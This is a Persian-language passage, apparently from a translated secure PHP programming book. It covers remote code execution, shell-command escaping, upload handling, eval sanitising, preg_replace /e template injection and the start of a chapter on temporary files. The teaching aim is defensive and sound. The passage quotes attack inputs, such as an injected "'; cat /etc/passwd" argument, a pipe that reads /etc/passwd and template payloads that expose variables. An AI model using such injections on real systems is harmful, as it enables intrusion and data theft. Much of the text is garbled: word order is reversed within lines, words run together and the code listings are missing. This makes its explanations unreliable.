 شده وارد کاربر توسط آن نام که است فایل یک در کلمات تعداد شمردن آن هدف که بگیرید نظر در را زیر

 است: 

 

 دهد:  نمایش زیر، URI فراخواندن با را سیستم کاربر فایل محتوای تا کند تلاش تواندمی مهاجم یک

 

 کاربر عنوان به شل متاکاراکترهای و دستورات از زیر توالی اجرای برای اسکریپت ایناجبار  با یعنی

nobody : 

 

  نویسدمی خروجی در را فایل محتویات cat شمارد. دستورمی را فایل یک درون کلمات wc دستور

 ورودی با را wc ( خروجیx7c\ پایپ، )کاراکتر | شود،می اجرا شل یک در دستور توالی این که هنگامی

cat سازد. می مرتبط 

Cat  دستور خروجی ابتدا در wc اسکریپت در )که نویسدمی استاندارد خروجی در را PHP متغیر در ما 

$words محتوای سپس دارد( و قرار /etc/passwd شود. می داده نمایش متغیر این مقدار نهایت، . در

 خواهد تلاش زیاد احتمال به که شودمی داده نشان مهاجم به سیستم کاربراناطلاعات  که است این نتیجه

 و نموده اجرا را دستورات سایر سپس و ندازدابی سیستم این روی بر دیگر فایل تعداد هر به نگاهی که نمود

 کند.  دانلود بیابد، که سرور وب توسط نگارش قابل یرکتورهایاد روی بر راها اسکریپت

محدودیتی برای بهتر است  ،است خطرناک PHP طریق از سیستمی دستورات عمدی اجرای که دلیل این به

 حل راه یک تا کنید تلاش سختی به حال هر در باید شما تعداد دفعات اجرای دستورات لحاظ شود.

 بیابید. روش، این انجام از قبل را PHP بر کاملامبتنی
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 دور راه از اجرای از جلوگیریجهت  هایياستراتژی 8.3

 طریق از دور راه از اجرای استفاده سوء اجرای ازجلوگیری جهت  شدهاثباتهای استراتژی به اکنون

 پردازیم. می مهاجمان توسط شما PHPهای اسکریپت

  آپلودهاجهت  فایل نام قبول قابل پسوندهای نمودن محدود 8.3.1

 دادن تحویلجهت  یا و فایل با همراه ارسالجهت  ،محتوا نوع هدر تعیینبرای  فایل یک پسوند از آپاچی

 نام تا دهد اجازه کاربران به شمای برنامه کند. اگرمی استفاده PHP قبیل از خاص فایل مدیر یک به فایل

 یک بتواند است ممکن مهاجم یک آنگاه نمایند، تعیین کنند،می آپلود که را هاییفایل پسوندهای وها فایل

 نماید.  اجرا فراخوانی، با را آن و نموده ارسال php. پسوند یک با را فایل

 نوع یا شوند شما سرور روی بر مشکلاتی موجب توانندمی که دارند وجود php. از غیر پسوندهایی البته

های زبان سایر توسط استفاده مورد پسوندهای شامل موارد کنند. این تسهیل را حملات از دیگری

 دقیق باشد. فهرستمی cgi. و bin،  .exe، .sh،  .pl، .py. قبیل از اجراییهای فایل و نویسیاسکریپت

 صورتی چه به کنندمی اجرا راها اسکریپت که هاییبرنامه سایر و آپاچی که دارد بستگی امر این به پسوندها

 باشند.  شده تنظیم

، بدین صورت که مشروع پسوندهایی آرایه یک از استفاده از است عبارت مشکل این برای حل راه یک

 پسوند یک هایی که پسوند آنها در آرایه هستند را صادر نموده و در غیر اینصورتاجازه بارگذاری فایل

.upload همچنان که حالی در شود ضرر بدون فایل نام که کنید کاری و کرده اضافه اولیه پسوند به را 

 باشد. می نخورده دست آن نوع به مربوط اطلاعات

 فایل که هنگامی مرورگر، توسط شده ارسال محتوای نوع اطلاعات به تکیه از است عبارت دیگر حل راه یک

 روشی هیچ که بیابید. هرچند را آننوع   مقدار در توانیدمی که است شده آپلود

 است ممکن که چرا خیر، یا است ( صحیحmimetype) مایم نوع این آیا که ندارید امر این دانستنجهت 

 به کنید استفاده فایل به خطربی پسوند چندین از یکی دادنجهت  آن از توانیدمی همچنان باشد، شده جعل

 است.  شده ارسال آن همراه به فایل که کنید اعتماد پسوندی به اینکه جای

 نامشخصهای نام باهای نیستند. فایل پسوندی نوع هیچ نیازمند یونیکسهای فایل نام که باشید داشته یاد به

 (  یا  )معمولا کنندمی دریافت را فرضپیش نوع یک
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  وب سند روت از خارج آپلودها ذخیره 8.3.2

 و خود، وب روت درون شده ارسالهای فایلی ذخیره عدم از است عبارت دیگرجلوگیری  روش یک

 یک شود. این اجرا آپاچی سروروب کاربر یک توسط بتواند شدهارسال اجرایی فایل یک که خطر این حذف

 ای،چندرسانه شیء یک به شده افزوده PHP کدهای برابر در خود سیستم نمودن تجهیزجهت  موثر روش

 باشد. می طلایی، قفل مثال مانند به

 بدهید را خود وب سند روت درون ،نگارش قابل دایرکتوری یکی اجازه که نیست خوبیایده  گاههیچ این

 دسترسی دارای مهاجم یک کند. اگرنمی آپلود آن به راها فایل مستقیم صورت به شمای برنامه اگر حتی

FTP در را اسکریپت یک بتواند است مکنم آورد، دستبه را دسترسی چنین یا باشد شما سرور به شل یا 

 دایرکتوری چنین اینکه تضمینجهت  ببرد. بهره آن اجرایجهت  سرور وب از و نموده ایجاد دایرکتوری آن

 توسط نگارش قابل بیت بازگشتی کردن خاموشجهت  زیر chmod دستور از توانیدمی شما ندارد، وجود

 کنید:  استفاده وب روت در اندیگر

 

 مجوز خواندن و نوشتن را می تواند برای یک دایرکتوری فعال یا غیرفعال نماید. chmodدستور 

 درها آن شدن ایمن باعث ،بو روت از خارج درها اسکریپت وها فایل نمودن ذخیره که است توجه شایان

 بر نویسیاسکریپت عوامل سایر توسط سوءاستفاده یا ()require یا ()include توابع طریق از اجرا برابر

 خواندن قابل دیگر نویسیاسکریپتمیزبان  یک یا سرور وب توسط که فایلی شد. هر نخواهد سرور روی

 تواندنمی مهاجم یک که معناست بدین امر این حداقل گیرد. ولی قرار اجرا مورد است ممکن باشد

 نماید.  فراخوانی ساده، URI یک طریق از مستقیم صورت به راها اسکریپت

 ()eval به اعتماد غیرقابل کاربران ورودی سازیپاک 8.3.3

 انجام را کار این بیابید، خودهای اسکریپت در ()eval یاستفاده از اجتنابجهت  را هاییروش بتوانید اگر

 بتواند امر این که ندارید این خصوص در نگرانی به نیازی آنگاه کنید،نمی استفاده آن از گاههیچ دهید. اگر

 گیرد.  قرار استفاده سوء مورد

 PHP توابع عمومي نمودن فعال غیر چگونگي
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 کارهای توانیدمی ندارید، خود  برنامه در ()eval چون ایمن غیر تابع یک از استفاده به نیاز هیچگاه اگر

 خاص توابع تواندمی سیستم مدیر دهید. یک انجام ،هاآن نمودن فعال غیر با دور راه از اجرای برابر در زیادی

PHP فایل در را php.ini دستورالعمل از استفاده با disable_functions کند. غیرفعال 

 صورت:  این به کند،می دریافت نمودن غیرفعالجهت  را توابع از فهرست یک 

 

 درها آن از استفاده مانع و نموده غیرفعال را ()phpinfo و ()eval تابع دو هر php.ini دستورالعمل این

 شود.می دهندگان توسعه توسطها اسکریپت

 یک ایجادجهت  تواندمی که را چیزی هر همواره موارد، این باشد. درمی ضروری ()eval گاهی ولی

جهت  یکپارچه تابع یک دارای PHP نمایید. متاسفانه، سازیپاک خوبی به گیرد قرار استفاده مورد اسکریپت

 که چرا نیست کافی ()eval به ورودی سازیپاکجهت  ()highlight_file باشد. تابعنمی امر این اجرای

 مقادیر در غیرمنتظره خطاهای موجب است ممکن و گذاردمی نخورده دست را PHP متاکاراکترهای اغلب

 شود.  ایمن

 )برای ()addslashes که نمایید سازیپاک تابعی با رشته یک در را PHP متاکاراکترهای توانیدمی شما

 کند. درمی ترکیب متاکاراکترها( را سایری ترجمه )برای ()str_replace قول( و نقل علائم تمامی حذف

 .است شده آورده تابعی چنینجهت  کدی اینجا
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 شما باشد،می اگر خیر؛ یا باشدمی جدید خط کاراکتر یک شامل ورودی آیا که کنیدمی بررسی ابتدا در شما

ی رشته در که را PHP متاکاراکتر نوع هر شما صورت، این غیر شوید. درمی خارج مناسب پیام یک با فورا

 به روش کنید. اینمی سازیپاک دسیمال، ASCII رمزگذاری از استفاده باها آن تبدیل با یابیدمی ورودی

 تولید را parse خطای یک و بردمی بین از را دور راه از PHP اجرایجهت  یتلاش نوع هر ،موثر صورت

 شود.  مدیریت مناسب صورت به و شده داده تشخیص شمای برنامه توسط تواندمی که کندمی

 عنوان به تجزیه حال در کاربری ورودی نوع هر روی بر ()saferForEval قبیل از سفارشی تابع یک از

 را تابع این از استفاده که است شده ارائه ساده مثال یک اینجا کنید. در استفاده ()evalجهت  آرگومان یک

 دهدمی نشان
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دهد .اما این روش اجازه میشود، با توجه به مشکوک بودن اسکریپت فوق توصیه نمی ()evalاستفاده از تابع 

 و ببینید.بیابید تمام متاکاراکترهای درون رشته را  ()safeForEvalتا شما با بکارگیری تابع 

شیء از نمونه  یکابتدا تابع را و سپس کلاس ها را تعریف می نماییم. هنگامی که اسکریپت را اجرا نمایید، 

دهد تا بدون مقدار باقی نماند.سپس یک فرم حاوی قرار می pintرا  type$ایجاد کرده که مقدار پیشفرض 

دهد.حال در نظر بگیرید یک یورود اطلاعات برای ایجاد یک شیء از یک نوع متفاوت به کاربر نمایش م

باشد و شما با استفاده  PHPوارد نماید که حاوی متاکاراکترهای  type$  کاربر مهاجم بتواند یک عبارت برای

کنید عملیات مخرب را طبق شکل در شیء نمونه سعی می PHPو تزریق دستورات  ()safeForEvalاز تابع 

 .زیر خنثی نمایید 
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 فرم به شده وارد تیاکسپلو کی با safeForEval شفرضیپ يخروج

اگر قسمت ورودی به خوبی بررسی نشود اطلاعات سیستم شما افشا میشود و ثابت میشود که امکان اجرای 

به  ;شود که کاراکترباعث می ()safeForEvalتری از راه دور امکان پذیر است.اما تابع دستورات خطرناک

 کند.تبدیل شود.که به نوبه خود مانع رمزگشای شده و خطا تولید می ;59#&خود یعنی  htmlمعادل کد 

 

 کندمي ()safeForEvalTestپیام خطای تولید شده مربوط به زماني که اکسپلویت سعي در تزریق به تابع 

 ()safeForEvalرحم است و امکان تولید هر خطایی وجود دارد، اما در نهایت تابع فوق بیروش درواقع 

شود .در صورتی که سایر اعتبارسنجی های ورودی با شکست مواجه شوند، معنا می ()Evalحافظ کلی تابع م

 . باشدبرای جلوگیری از نفوذ می کار مناسبی ()safeForEvalتابع 

 ( include) نکنید استفاده را دیگر سرورهای روی PHPهای اسکریپت 8.4

 خطرناک بسیار دهیم )الحاق( قرار ()include مورد خارجی سرور یک از را PHPهای اسکریپت ما اینکه

 مخزن یک از هاییکتابخانه یا برنامه یک که دهید انجام زمانی بخواهید را کار این است ممکن شما. باشدمی
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 شوید وسوسه است ممکن وضعیتی، چنین نمایید. درمی توزیع خود کنترل تحت سرور تعدادی به را مرکزی

 سرور یک از مشترکی نشده ترجمه PHP منبع گرفتن نظر درجهت زیر،  مانند به کد تکه یک از که

 کنید:  استفاده مرکزی،

 

 بزند گول را شما سرور بتواند مهاجم یک اگر ندارد. ولی ورودی به ربطی است خطرناک امر این اینکه دلیل

 common.php آنگاه کند،می کنترل وی که است IP آدرس یک در source.example.net کند فکر که

 راحتی )که بگیرید کار بهرا  این مثل دور راه ازهای فایل این که گرفتید تصمیم باشد. اگر چیزی هر تواندمی

 مورد در و کنید استفاده ،سخت رمزگذاری با IP آدرس یک از شود( حداقلمی آن بالای جذابیت باعث آن

 که دهیممی پیشنهاد ما نهایت، در کنید. ولی فکر زیادی حد تا جعلی پاسخ یک از جلوگیریهای روش

 قرار استفاده مورد صورت این به خود سیستم در دوردست منابع از را PHP کد که نکنید سعی گاههیچ

 فصل در )که XML-RPC یا SOAPهای درخواست قبیل از دارند، وجود دیگریهای حل دهید. راه

 دوردست سرورهای روی برها اسکریپت ایمن اجرایجهت  که داد( خواهیم قرار بحث مورد سیزدهم

 اند. شده طراحی

  شل دستورات بررسي 8.4.1

 کنید، اجرا شل دستور یک عنوان به خواهیدمی شما که نمایند ارسال را متنی که دهید اجازه کاربران به اگر

 یا ()system دستورات به راهاآن اینکه از قبل بگیرید نادیده درستی به راها رشته این که کنید دقت باید

shell_exec()  .بدهید 

 نقلهای ( علامت در )اطلاعات PHP در ()escapeshellarg تابع

 نادیده را آن درون یکتای قول نقل علامت هر و کندمی اضافه ورودیی رشته طرف دو در را یکتا قول

جهت  یکتاهای آرگومان با استفادهجهت  مخصوصا تابع این دهد،می نشان آن نام که طورهمانگیرد. می

این تابع اجازه ارسال تنها یک آرگومان را به توابع ) .گرداندنمی باز را چیزی تابع باشد. اینمی شل دستورات

را “ ‘ ”را می دهد واجازه اجرا چند دستور را بااستفاده از علامت تک کوتیشن  ()exec و ()system سیستمی

 (.فیلتر می کند
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 متفاوت رویکرد ( یک در )اطلاعات ()escapeshellcmd تابع

 کاراکترهای تمامی و گذاشته خود حال به را شتهاطراف ر قول نقلهای علامت دارد،

ها آنی همه که گیردمی نادیده ( راx10\) جدید خط و 

 نادیده را تعادل بدون قول نقلهای علامت تمامی هستند. همچنین شل متاکاراکترهای بالقوه، صورت به

 اند. شده گرفته نادیده قبل از که مواردی قبیل از گیردمی

 از یکی از فقط که است بهتر کنند،می عمل متفاوت شکلی به ،شل انگاشتنهنادید تابع دو این که دلیل این به

 باشد. می کاری استایل به مربوطی مسئله یک اصولا کنیدمی انتخاب را یک کدام نمایید. اینکه استفادهها آن

 :دهیممی نشان زیر کد با را ()escapeshellarg تابع از استفاده ما
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 بررسی پذیرید،می را ورودی آن شما باشد، ورودی کردن وارد حال در کاربر اگر اولیه، تنظیمات از بعد

باشد.  شدهحذف چیزی اگر ،شویدمی خارج مناسب خطای یک با و باشد داشته وجود یککدام که کنیدمی

 دو ورودی یک شامل کدام هیچ که شوید مطمئن تا کنیدمی بررسی را ورودی فایلهای مکان شما ادامه، در

 مناسب خطای پیام یک با هم باز شما باشد، داشتهای ورودی دو نقطهها آن از یکی اگر نیستند؛ای نقطه

 نموده سازیپاک ()escapeshellarg تابع با جداگانه صورت به را آرگومان هر شما شوید. سپسمی خارج

دهید. می ارائه خروجی عنوان به را نتایج شما نهایت، کنید. درمی اجرا را آن و کرده ایجاد را شل دستور و

 کنید. می ارائه کار اینجهت  را فرمی شما نباشد ورودی نمودن وارد حال در کاربر اگر

 به خطرناک شل متاکاراکترهای حاویی رشته یک دادن با را ()escapeshellarg تابع کارایی توانیدمی شما

 یکتاهای قولنقل در را دریافتیی رشته نوع هر ()escapeshellarg ابتدا، دهید. در قرار بررسی مورد آن،

 را یکتایی قولنقل علامت نوع هر بگیرد. سپس، نادیده را متاکاراکترها شل، که شودمی باعث که دهدمی قرار

 قولی نقل صورت به مقادیر تمامی که صورتی به دهدمی قرارانگاشتن نادید مورد دوبار بیابد، ورودی در که

شده(  امتحان اکسپلویت )یک و infile$ برای wav.* ورودی دارای بالا اسکریپت که بمانند. هنگامی باقی

‘; cat /etc/passwd برای $outfile از:  است عبارت شده سازیپاک دستور شود،می 

 

 تلاش و یابدنمی گسترش Wildcardگیرد. می نظر در واقعیهای رشته عنوان به را مقادیر این دو هر شل

 خورد.  خواهد شکست دیگر دستور یک تزریقجهت 

 کامل اسکریپت یک از بخشی که دهیممی نشان زیر کد با را ()escapeshellcmd تابع از استفاده ما حال

 اسکریپت در موجود ورودی بررسی روتینجهت  جایگزین یک شامل که است

escapeShellArgDemo.php نمودیم. ارائه بالا در که باشدمی 
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 به ولی باشدمی escapeShellArgDemo.php در فرم پردازش بخش با مشابه ضرورتا اسکریپت این

 ایجاد را command$ی رشته کل ابتدا در ما و گیردمی نادیده مجزا صورت به را آرگومان هر آن، جای

 کنیم. می اعمال آن بر را ()escapeShellCmdDemo تابع و نموده
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 اکسپلویت و infile$ برای wav.* کردیم، استفاده قبلا که چیزی با مشابه ،تست ورودی از استفاده با

 با:  شودمی برابر شده سازیپاک دستور ،outfile$جهت   امتحانی

 

 و گیردنمی نظر در متاکاراکتر عنوان به راها آن شل شوند،می گرفته نادیده ; هم * و هم که آنجا از

 خورد. می شکست شده، امتحان اکسپلویت

 باشید e تغییر دهنده با ()preg_replace الگوهای مراقب 8.4.2

 PHP در ()preg_replace تابع در اسکریپت درون اختیاری کد اجرایجهت  شدهشناخته کمتر روش یک

 الگو(، به e افزودن با شده)مشخص باشد e تغییر دهنده یک دارای تابع این به نمایش الگوی اگر دارد. قرار

 :شودمی اجرا PHP کد عنوان به رشته آنگاه

 

 اند. هرشده محدود پرانتز توسط کدام هر که کندمی تعریف جستجوجهت  را مجاور المان سه الگو اینجا، در

 کمتر، )علامت > مورد گیرد. اولینمی قرار مدنظر جایگزینی در بازگشتی مرجع یک عنوان به ها،این از کدام

 چیزی هر مورد دومین شود(؛ دنبال بستنهای تگ در ممیز یک توسط تواندمی ،کندمی باز را تگ یک که

باشد. می بندد(می را تگ که تر،بزرگ )علامت < مورد سومین تگ( و )محتوای بیاید آن از بعد که است

 توسط الگو این است. کل شده طراحی بستن، تگ و تگ هر یافتنجهت  الگو این کلی مشخصات بنابراین،

 گیرد. می قرار e یتغییر دهنده انتهایی، ممیز از شود. بعدمی محدود انتها، و ابتدا )ممیز( در / یک

 > از عبارتند ترتیب ( به3 و 1 با شده )مشخص بازگشتی ارجاعات سومین و اولین جایگزینی،ی رشته در

 قرار < و > بین که است مقداری ( هر2 با شده )مشخص بازگشتی ارجاع دومین که حالی در < ( و/> )یا

 دستور کند. بنابراین،می ( عبورhtmlBody$حالت این )در موضع از preg_replace که حالی در گیرد

PHP متفاوت تگ هر محتوای برای شودمی اجرا که، strtoupper() تگ هر برای جایگزینی مقدار و بوده، 

file://///1
file://///3
file://///2


  PHPنویسي امن برنامه

240 

 

 
 

 ارجاعات نمودن مشخص که کنید شود. توجهمی نوشته بزرگ حروف با آن محتوای ولی باشدمی تگ همان

 از تا گیرند قرار یکتا قولنقلهای علامت در ( باید3$ و 2$ ،1$ دیگر نمایشی با ،3 و 2 ،1) بازگشتی

 شود.  اجتناب PHP کد عنوان به ترجمه

 بازتاب را آنیعنی  کنیم،می ذخیره جدید متغیر یک در را preg_replace از خروجی مقادیر ما که هنگامی

 . تابعشودمی <EM>Hello</EM> با برابر که یابیممیدر کنیم،می مشاهده را خروجی و دهیممی

preg_replace تابع strtoupper() کند. می اجرا بیابد، الگو این که تگی هر محتوای روی بر را 

  شکننده تمپلت سیستم یک 8.4.2.1

 مثال )برای PHP از دانش بدون کاربر یک به که هستند مفید دلیل این ( بهtemplate) قالبیهای سیستم

 وارده، متغیرهایجهت  جایگزینی مقادیر نمودن وارد با تنها را پیامی تا دهندمی سفارشات( اجازه مسئول یک

 سفارش، تاییدی نامه یکجهت  را زیر قالب شما، فروش بخش که کنیم فرض دهید نماید. اجازه ایجاد

 است:  نموده ایجاد

 

جهت  اینجا )در قالب در [ موجودfirstname]ی رشته شود،می فراخوانی preg_replace که هنگامی

 جستجو الگوی firstname بخش که آنجا دهد. ازمی تطابق باشد( رامی کوتاه خط یک تنها بهتر، نمایش

 1 الخصوصعلی باشد،می دسترس در بازگشتی ارجاع یک عنوان به دارد، قرار پرانتز ها( دربراکت نه )ولی

 شودمی داده eval تابع به جایگزینیی رشته ادامه، مورد. در تنها نمایشی، قالب این با و اولین (،1$ همان )یا

file://///1
file://///2
file://///3
file://///1
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 و است(، متغیر یک تنها حالت، این در که گیرد؛می قرار ارزیابی مورد PHP کد یک عنوان به کهای گونه )به

 عبارت اسکریپت این خروجی شود. بنابراین،می تبدیل Beth به firstname$ی رشته که است این نتیجه

 باشد. می فرمی نامه از خط اولین که Dear Beth از است

تواند می دارد، تکیه خود کار انجامجهت  eval تابع بر که دلیل این به بندی،قالب سیستم نوع این ولی

 وارد قالب متغیرجهت  را مقداری چه نگارش مسئول که نیست مربوط امر این به خطر . اینخطرساز باشد

بزرگ(  شرکت یک در ناراحت کارمند یک )شاید مهاجم یک باشد. اگرمی مربوط قالب خود به بلکه کند،می

 قرار هدف را ساده متغیر نام یک که نماید وادار را قالب موتور تواندمی کند، دستکاری را قالب این بتواند

 قرار ارزیابی مورد را قالب موتور، این که هنگامی دهد. سپس، قرار نظر مد را واقعی PHP کد بلکه ندهد

 مثالی دهید اجازه .کندمی اجرا را کد این ،دهد قرار آن نام جای به را متغیر مقدار یک اینکه جای به دهد،می

 کنیم:  بررسی را

 صورت به تا دهدمی تغییر را آن و یافته دسترسی قالب به کارخراب کاربر یک که کنید تصور •

Dear [firstname] باشد:  صورت این به و نباشد 

 یک نام دنبال به دیگر قالب که چرا باشد اهمیت بی که چیزی )دقیقا را مقدار یک وی ادامه، در •

 کند. می ارسال شما دریافتی اسکریپت باشد( بهنمی متغیر

ی یابد: رشتهمی را آن و گرددها میبراکت میان در چیزی دنبال به اسکریپت این •

 
 نام یک داشت انتظار که کندمی ایجاد را چیزی و افزایدمی رشته آن به را $ یک  شما اسکریپت •

 باشد. می  دستور واقع در ( ولیcustomer$) باشد متغیر

 که دهدمی ارائه خروجی عنوان به را نتایج و کندمی ارزیابی را دستور این شما اسکریپت نهایت، در •

ی گستره در متغیرهای همه محتوای بلکه نیست مشتری نام با نامه ابتدای در ساده احتراما یک اکنون

 طورهمان بود، خواهد حساس اطلاعات سایر یا و عبور رمزهای حاوی احتمالا که باشدمی عمومی

 است.  شده داده نشان 6-8 تصویر در که
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 قالب اکسپلویت یک از : خروجی6-8 تصویر

 

 پذیرامکانها اکسپلویت از گستردهی مجموعه یک یابد، تغییر صورت این به بتواند قالب یک که هنگامی

 تعدادی اینجا درهستند.  اشیا واقع در مقادیر از زیادی تعداد آن، در که PHP 5 در الخصوص علی هستند

 است:  شده آورده بیشتر مثال

 را دیگری تابع دهد. هرمیارائه  را PHP اطلاعاتی صفحه قالب، درون به افزودن •

 نمود.  قول نقل تواننمی راها آرگومان که است این محدودیت تنها نمود؛ جایگزین توانمی

باشد:  پذیر امکان گرا شیء وضعیت یک در شکل این به قالب هدف یک با تواندمی اکسپلویت یک •

 یک عنوان به شدن ارزیابی . هنگام

 با دادهپایگاهی دهنده اتصال یک اگر کندمی ایجاد را دادهپایگاه ارتباط یک واقع در رشته این متغیر،

 باشد.  دسترس در حافظه در db$ نام

 دهد:  نمایش شکل، این به هدفی با را اسکریپت یک محتوای تواندمی دیگر اکسپلویت یک همچنین •

 
 به زیادی حد تا قالب موتور کد اگر رساند حداقل به توانمی را هاییاکسپلویت چنین احتمال •

 متغیرهای نام که آنجا از که برسد نظر به اینگونه است باشد. ممکن شده نوشته محدودکننده صورت

PHP ندارند، راها علامت داشتنی اجازه معمولا preg_replace براساس تطبیقی اجازه نباید 

 ، نمودیم، استفاده بالا مثال در که الگویی در نقصباشد. داشته وجه هیچ به را علائم

 بود خواهد صورت این بهتر محدود الگوی شود. یکمی منطبق علائم روی است. .+ بر همین دقیقا

 دهد می تطبیق را عددی-الفبایی کاراکترهای + تنهاw. که چرا 
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 باشند _ علامت شامل دارند اجازه واقع در PHP متغیرهای نام که است واقعیت این اینجا در مشکل اولین

 قبیل از الگویی باشند. بنابراین،می اضافی علامت دو که هستند، <- علامت شامل حتی شیء ارجاعات و

 که دلیل این به باشد قبلی الگوی دو از کدام هر از بهتر اندکی شاید 

 آنگاه کنید، استفاده + قبلیw. الگوی یا الگو این از که بخواهید دهد. اگرمی را اضافی مقادیر اینی اجازه

 کرد.  نخواهند کار ،قبلی حملات از کدامهیچ

 نیازمند واقعا قالب هدف یک آن در که باشد داشته وجود وضعیتی است ممکن که است این مشکل دومین

 تواندها میعلامت انواعی همه نمودن ممنوع فاکتور(. بنابراین پیش یک در مثال )برای باشدمی علائم داشتن

 باشد.  قالبی سیستم یک از استفاده هدف به رسیدن مانع حدی تا

PHP تابع تا کندمی تلاش preg_replace خودکار فراخوانی با را addslashes  هرانگاشتن نادیدهجهت 

نماید. تر ایمن باشد، داشته وجود بازگشتی ارجاعهای داده در است ممکن که دوگانه یا یکتا قول نقل علامت

 باشند.  امان در حمله، یکجهت  استفاده ازها داده که شودمی باعث نظر بهانگاشتن نادیده این

 بازگشتی ارجاعات نمودن مشخصجهت  استفاده مورد یکتای قول نقلهای علامت ترکیب حال، این با

 بازگشتی ارجاعهای داده آن درون ،قولنقلهای علامتانگاشتن نادیده شد( با بیان قبلا که طورهمان)

 شود.  مشکلاتی به منجر تواندمی

جهت  را است ممکن که کاری هر باید است. شما خطرناک preg_replace تابعجهت  eی تغییر دهنده

 یک از و کنید استفاده آن از دقت با هستید، آن از استفاده به مجبور اگر . ولیدهید انجام آن از استفاده عدم

 کنید.  استفاده کننده، محدود ممکن حد تا الگوی

  دور راه از اجرای 60هاینقصجهت  تست 8.5

 از اجرایی اجازه که ییهاآن کنید، وارد خود PHP کد در است ممکن شما که هایینقص تمامی میان در

 یک اگر که کنندمی فرض اغلب امنیتی هستند. متخصصینها نقص ترینجدی احتمالا دهندمی را دور راه

 مثل مجوز بدون کاربر یک عنوان به حتی خود مدنظر کد اجرایجهت  آزاد دسترسی دارای مهاجم

nobody ،کاربر به را خود و بیابد سیستم در را دیگریهای ضعف تواندمی باشد root امر کند. این تبدیل 
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 یا است صادق شما سرورجهت  فرض این بگیرد. اینکه اختیار در را سرور کنترل تا داد خواهد اجازه وی به

 اند،نوشته ،کنیدمی اجرا که را کدهایی که دیگری یسنوبرنامه هزاران و شما که ندارد بستگی امر این به ،خیر

 هر در دارد؟ وجود شما امنیتجهت  لایه تعداد اند: چهبوده موفق رفتاری چنین از جلوگیری در چقدر

 مورد گذشته در که باشدمی سرورهایی از بسیاریجهت  شده اثبات واقعیت دارای فرض این ای،درجه

 اند. قرارگرفته تخریب

کنیم:  ایجاد دور راه از اجرایهای اکسپلویت برابر در را قوی بسیار حفاظت توانیممی چگونه که دانیممی ما

 eval، shell_exec نماییم. از ممکن غیر را ناخواسته شل دستورات یا PHP کد اجرای که است لازم تنها

 سرورهای از را PHP کد هیچگاه و نکنید استفاده کند،می اجرا را اختیاری دستورات که تابعی نوع هر یا

 ندهید اجازه کاربران به نکنید. و include خود سرور روی بر ،اطمینان غیرقابلهای مکان از یا و خارج

 نمایند.  آپلود وب، طریق از دسترسی قابلهای دایرکتوری به راها فایل

 شمای برنامه بستر در است ممکن که هستند محدودکننده حدی تا که است این ،هاحل راه این اغلب مشکل

 است مکانی یافتن دارید نیاز که چیزی باشد. بنابراین، خواهدمی چه هر برنامه این حال نباشند، استفاده قابل

 محدودبودن، کمتر دلیل به ایجادشده نقص پتانسیل برابر در را خودی برنامه نیازهای راحتی به شما که

 اجرایهای فراخوان و نموده محدود را eval در کاربر ورودی که باشد بهتر است نمایید. ممکن متعادل

 استفاده دستورات تزریقجهت  تواندمی که متاکاراکتری هر سپس و دارید نگه خود حد کمترین در را برنامه

 کنید.  رمزگذاری یا و نموده فیلتر را شده

 شامل که را ورودی که صورت این به نمایید آزمون را خودهای محدودیت شدت، به خودتان نهایت، در

 اجرا، و evalهای فراخوان این در استفاده مورد متغیرهایجهت  را است داخلی متاکاراکترهای و دستورات

 کنید.  ارسال

  خلاصه 8.6

 دور راه از اجرای بررسی با را شما کاربرانهای داده و شما PHPی برنامه تهدیدات مورد در خود بحث ما

 ارسالی ورودی مقابل در شمای برنامه بودن باز از مهاجم یک آن، در که است اکسپلویتی که دادیم ادامه

 شود. می اجرا PHP توسط ادامه در که نمایدمی استفاده کاربر

جهت  را استراتژی شش ما دارد، دنبال به که خطراتی و دور، راه از اجرای عملکرد چگونگی توصیف از بعد

 دادیم:  ارائه آن با مقابله
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 آپلودها. جهت  فایل نام پسوندهای نمودن محدود •

 کد.  نمودن واردجهت  اعتماد مورد و انسانی کاربران به تنها دادن اجازه •

 اعتماد.  قابل غیرهای ورودی با eval تابع از استفاده عدم •

 اعتماد.  قابل غیرهای فایل نمودن وارد عدم •

 شل.  دستورات تمامی مناسبانگاشتن نادیده •

 .  e یتغییر دهنده با preg_replace الگوهای به توجه •
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 موقتيهای فایلجهت  امنیت : تقویت نهم فصل 9

 برابر در توانندمی ماهای اسکریپت ،هاآن اساس بر که را مختلفیهای روش ما هشتم، تا پنجم فصول در

 این سازیپاکجهت  را هاییروش و دادیم قرار بحث موردرا  باشند شکننده کاربران مخربهای ورودی

 دادیم.  ارائه ممکن حد تا خودهای اسکریپت داشتننگه ایمنها جهت ورودی

 ما اینجا دهیم. درمی متفاوت ادامه دیدی با فصل این در را اسکریپتهای نقص خصوص در خود بحث ما

 کنیم.  استفاده موقتیهای فایل داشتننگه جهت ایمن PHP از چگونه که کنیممی بررسی را موضوع این

 نداشتهبررسی کردن را  ارزش و برسند نظر به دائمی غیر و موقتی خوب، است ممکن موقتیهای فایل

 روی بر هاییفایل چنین واقع، در ولیاز بین می روند.  بعد و دارند وجودای لحظه تنهاها فایل باشند. این

 ما،های برنامه که حالی در کنندمی کار زمینه پس در صدا و سر بدون هستند، حاضر جا همه ماهای رایانه

 چه و دارند وجود چرا آیند،می کجا ازها فایل این که دریابیم اند. بایدنموده مشغول خود به را ما توجه

 بپردازیم.  خودهای برنامه نمودن ایمن به توانیممی باشند. سپس داشته دنبال به است ممکن خطراتی

  موقتيهای فایل کردهایعمل 9.1

 قابلیت این فایلها معمولا شوند اجرا موقتیهای فایل بدون توانندنمی گاههیچ ابزارها وها برنامه از بسیاری

 که راهایی نقش از مثال کمی تعداد اینجا در . مابه فضای کاری پس زمینه را دارا می باشند دسترسی

 کنیم: می ارائه کنند رامی ایفا موقتهای فایل

 یا ویرایش متن و هایی مانند برنامه برنامه توسط نمونه ای از فایلهای موقت نسخه های موقتی که -

 گرافیکی ایجاد می شوند قابلیت ویرایش دارند. های برنامه

کویری هایی که نتایج آنها به صورت موقت نگهداری  شده اند یا اصطلاحاً کش شده اند و در  -

صورت نیاز مجدد به آن کویری به جای واکشی داده ها از دیتابیس از داده های این فایل های 

ود ( استفاده نمی شlocalموقت استفاده می شود. البته از این رویه معمولاً در دیتابیس های محلی ) 

 و بیشتر در برنامه های تحت وب و شبکه مورد استفاده قرار می گیرد.

 phpایجاد می شوند. این فایل ها در زبان فایل های موقتی که در زمان انتقال ) آپلود ( فایل ها  -

 قابل دسترس می باشند.  FILES['user file'][ 'tmp_name']_$معمولا توسط  متغیر
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موقتی( استفاده می شوند. های داده سایر )یا جلسههای ویژگیی رهذخیجهت  که سیستمیهای فایل -

